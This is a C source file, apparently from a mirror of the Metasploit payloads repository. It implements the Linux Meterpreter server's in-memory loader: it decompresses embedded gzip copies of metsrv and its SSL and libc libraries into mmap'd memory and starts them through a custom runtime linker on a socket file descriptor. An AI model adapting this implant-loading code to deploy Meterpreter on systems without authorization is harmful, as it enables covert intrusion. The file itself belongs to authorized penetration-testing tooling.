1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-18 07:11:12 +02:00

434 lines
9.9 KiB
C

#include <sys/types.h>
#ifdef __linux__
#include "sfsyscall.h"
#endif
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/mman.h>
#define NULL ((void *)0)
/*
* Forget about sparc / alpha / ia64 for now
*/
#define PAGE_SIZE 4096
#define PAGE_MASK (PAGE_SIZE-1)
#define round_page(x) (((x) + PAGE_MASK) & ~PAGE_MASK)
#include "rtld.h"
#include "zlib/zlib.h"
void *
memcpy(void *idst, const void *isrc, size_t n)
{
char *ret = idst;
char *dst = idst;
const char *src = isrc;
while (n--)
*dst++ = *src++;
return ret;
}
static int
strncmp(const char *s1, const char *s2, size_t n)
{
if (n == 0)
return (0);
do {
if (*s1 != *s2++)
return (*(const unsigned char *)s1 -
*(const unsigned char *)(s2 - 1));
if (*s1++ == 0)
break;
} while (--n != 0);
return (0);
}
size_t
strlen(str)
const char *str;
{
register const char *s;
for (s = str; *s; ++s);
return(s - str);
}
static char *
strstr(const char *s, const char *find)
{
char c, sc;
size_t len;
if ((c = *find++) != 0) {
len = strlen(find);
do {
do {
if ((sc = *s++) == 0)
return (NULL);
} while (sc != c);
} while (strncmp(s, find, len) != 0);
s--;
}
return ((char *)(unsigned long)s);
}
void *
memset(void *b, int c, size_t len)
{
char *bb;
for (bb = (char *)b; len--; )
*bb++ = c;
return (b);
}
int
_sigfillset(set)
sigset_t *set;
{
int i;
for (i = 0; i < _SIG_WORDS; i++)
set->__bits[i] = ~0U;
return (0);
}
int
_sigdelset(set, signo)
sigset_t *set;
int signo;
{
if (signo <= 0 || signo > _SIG_MAXSIG) {
errno = EINVAL;
return (-1);
}
set->__bits[_SIG_WORD(signo)] &= ~_SIG_BIT(signo);
return (0);
}
/* eof libc functions */
typedef struct handle_s
{
char *mem_base; /* base address of maped *.so */
unsigned long *hash_tab; /* hash table */
char *dyn_str_tab; /* dyn_name table */
Elf_Sym *dyn_sym_tab; /* dynamic symbol table */
Elf_Rel *plt_rel; /* PLT relocation table */
Elf_Rel *dyn_rel; /* relocation table */
} handle_t;
static handle_t libc_handle;
static char *sym;
static unsigned long addr;
#define MLOCK_MAX_SIZE 31744
#ifdef __linux__
#define MAP_FLAGS MAP_ANONYMOUS
#else
#define MAP_FLAGS MAP_ANON|MAP_NOCORE
#endif
/*
* Libraries we need to unpack for server startup
*
*/
static int const gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */
/* gzip flag byte */
#define ASCII_FLAG 0x01 /* bit 0 set: file probably ascii text */
#define HEAD_CRC 0x02 /* bit 1 set: header CRC present */
#define EXTRA_FIELD 0x04 /* bit 2 set: extra field present */
#define ORIG_NAME 0x08 /* bit 3 set: original file name present */
#define COMMENT 0x10 /* bit 4 set: file comment present */
#define RESERVED 0xE0 /* bits 5..7: reserved */
#define EOF (-1)
/* ===========================================================================
Check the gzip header of a gz_stream opened for reading. Set the stream
mode to transparent if the gzip magic header is not present; set s->err
to Z_DATA_ERROR if the magic header is present but the rest of the header
is incorrect.
IN assertion: the stream s has already been created sucessfully;
s->stream.avail_in is zero for the first time, but may be non-zero
for concatenated .gz files.
*/
static int
check_header(unsigned char **input_buffer, int *input_length)
{
int method; /* method byte */
int flags; /* flags byte */
int c;
int len = *input_length;
unsigned char *inbuf = *input_buffer;
if (len < 2)
return Z_DATA_ERROR;
if (inbuf[0] != gz_magic[0] ||
inbuf[1] != gz_magic[1])
return Z_DATA_ERROR;
len -= 2;
inbuf += 2;
/* Check the rest of the gzip header */
method = inbuf[0];
flags = inbuf[1];
if (method != Z_DEFLATED || (flags & RESERVED) != 0)
return Z_DATA_ERROR;
/* Discard time, xflags and OS code: */
inbuf += 8;
len -= 8;
if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */
int field_len = (uInt)inbuf[0];
field_len += ((uInt)inbuf[1])<<8;
inbuf += 2;
len -= 2;
/* len is garbage if EOF but the loop below will quit anyway */
while (field_len-- != 0 && *(int *)inbuf != EOF) {
inbuf++;
len--;
}
}
/*
* note that the original name skipping logics seems to be buggy
*
*/
if ((flags & ORIG_NAME) != 0) { /* skip the original file name */
while ((c = *inbuf) != 0 && c != EOF) {
inbuf++;
len--;
}
inbuf++;
len--;
}
if ((flags & COMMENT) != 0) { /* skip the .gz file comment */
while ((c = *inbuf) != 0 && c != EOF) {
inbuf++;
len--;
}
}
if ((flags & HEAD_CRC) != 0) { /* skip the header crc */
inbuf += 2;
len -= 2;
}
*input_length = len;
*input_buffer = inbuf;
return Z_OK;
}
#include "metsrv_main.h"
#include "libcrypto_so.h"
#include "libssl_so.h"
#include "libuc_so.h"
typedef struct library_object {
void *lo_ptr;
} lobj_t;
typedef struct library_info {
unsigned int l_output_size;
unsigned int l_input_size;
char *l_name;
unsigned char *l_data;
unsigned char *l_data_uncompressed;
lobj_t *l_obj;
} linfo_t;
lobj_t metsrv_main_obj;
lobj_t libcrypto_so_obj;
lobj_t libssl_so_obj;
lobj_t libuc_so_obj;
/*
* The user must make sure that the list of library names matches those
* in metsrv's symbol table (see elf headers as ldd often gets confused)
*/
static linfo_t startlibs[] = {
{metsrv_main_size, metsrv_main_length, "meta server", metsrv_main, NULL, &metsrv_main_obj},
{libcrypto_so_size, libcrypto_so_length, "libcrypto.so", libcrypto_so, NULL, &libcrypto_so_obj},
{libssl_so_size, libssl_so_length, "libssl.so", libssl_so, NULL, &libssl_so_obj},
{libuc_so_size, libuc_so_length, "libc.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libuc.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libdl.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libz.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libgssapi_krb5.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libkrb5.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libcom_err.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libk5crypto.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libresolv.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libkeyutils.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libselinux.so", libuc_so, NULL, &libuc_so_obj},
{libuc_so_size, libuc_so_length, "libsepol.so", libuc_so, NULL, &libuc_so_obj},
{0, 0, NULL, NULL, NULL, NULL},
};
static void *
zalloc(void *opaque, unsigned int count, unsigned int size)
{
return (malloc(count*size));
}
static void
zfree(void *opaque, void *addr)
{
free(addr);
}
static void *
dumb_malloc(int size)
{
return mmap (0, size, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_FLAGS, -1, 0);
}
typedef void (*func_ptr_type)();
Obj_Entry *entry_start;
func_ptr_type exit_func;
func_ptr_type
_rtld_late(unsigned char *base, unsigned char *buf, ssize_t size,
func_ptr_type *exit_proc, Obj_Entry **objp);
int
open_object(const char *name, unsigned char **buf, ssize_t *size,
void *obj)
{
linfo_t *lib;
for (lib = startlibs; lib->l_input_size != 0; lib++)
if (strstr(name, lib->l_name) != NULL) {
if (lib->l_obj->lo_ptr == NULL) {
*buf = lib->l_data_uncompressed;
*size = lib->l_output_size;
} else
*(uintptr_t *)obj = (uintptr_t)lib->l_obj->lo_ptr;
return (0);
}
return (1);
}
void
set_object(const char *name, void *obj)
{
linfo_t *lib;
for (lib = startlibs; lib->l_input_size != 0; lib++)
if (strstr(name, lib->l_name) != NULL) {
lib->l_obj->lo_ptr = obj;
break;
}
}
#ifdef __i386__
void (*_late_start)(int, char **, ...);
#else
void (*_late_start)(char **ap, void (*cleanup)(void));
#endif
void call_late_start(void *, int argc, ...);
#if 0
void
call_late_start(int argc, char **argv, char **environ)
{
__asm__("movl %0, %%edx" : "=rm"(exit_func));
__asm__("jmp %0", : "=rm"(_late_start));
printf("calling late start with argv argc=%d argv=%p &argv[0]==%p\n",
argc, argv, &argv[0]);
_late_start(argc, argv[0], argv[1], NULL, environ, NULL);
}
#endif
void
metsrv_rtld(int fd, void *base)
{
z_stream stream;
int i, status, size;
linfo_t *lib;
char *self, *inflate_buffer;
char *newenviron[] = {"USER=me"};
char *ap[4];
char *argv[] = {"metserv_main", (char *)fd, NULL};
printf("fd=%d ap=%p \n", fd, ap);
ap[0] = (char *)2;
ap[1] = "metsrv_main";
ap[2] = (char *) fd;
ap[3] = (char *)newenviron;
memset(&stream, 0, sizeof(stream));
stream.zalloc = zalloc;
stream.zfree = zfree;
for (lib = startlibs; lib->l_input_size != 0; lib++) {
int input_size = lib->l_input_size;
unsigned char *input_buffer = lib->l_data;
if (check_header(&input_buffer, &input_size) != Z_OK) {
inflate_buffer = lib->l_data;
goto uncompressed;
}
/* windowBits is passed < 0 to tell that there is no zlib header.
* Note that in this case inflate *requires* an extra "dummy" byte
* after the compressed stream in order to complete decompression and
* return Z_STREAM_END. Here the gzip CRC32 ensures that 4 bytes are
* present after the compressed stream.
*/
inflateInit2(&stream, -MAX_WBITS);
inflate_buffer = dumb_malloc(lib->l_output_size);
stream.avail_in = input_size;
stream.next_in = input_buffer;
stream.avail_out = lib->l_output_size;
stream.next_out = inflate_buffer;
status = inflate(&stream, Z_FINISH);
if (status != Z_STREAM_END) {
/* XXX error */
exit(1);
}
uncompressed:
lib->l_data_uncompressed = inflate_buffer;
}
self = startlibs[0].l_data_uncompressed;
size = startlibs[0].l_output_size;
_late_start = (void*) _rtld_late(base, self, size, &exit_func, &entry_start);
#ifdef __i386__
call_late_start(_late_start, 2, ap[1], ap[2], NULL, NULL);
#else
_late_start(&ap[0], exit_func);
#endif
}